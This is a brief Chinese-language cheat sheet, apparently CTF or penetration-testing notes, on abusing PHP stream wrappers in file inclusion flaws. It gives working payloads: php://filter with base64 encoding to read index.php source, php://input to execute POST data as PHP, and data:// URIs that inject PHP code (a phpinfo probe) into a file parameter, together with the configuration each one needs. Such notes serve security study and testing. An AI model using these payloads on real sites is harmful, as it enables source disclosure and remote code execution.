php://filter/convert.base64-encode/resource=index.php 在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用 主要用于读取源代码并进行base64编码输出。
php://input allow_url_include影响php://input的使用,若不打开则无法使用。 php://input(访问请求原始数据的只读流,一般用于读取post请求的数据,也可将post请求中的数据作为PHP代码执行
php://filter用于读取源码,php://input用于执行php代码
data:// 需满足allow_url_fopen,allow_url_include同时开启才能使用,使用如下 file.php?file=data://text/plain,<?php phpinfo()?> or file.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
file.php?file=data:text/plain,<?php phpinfo()?> or file.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=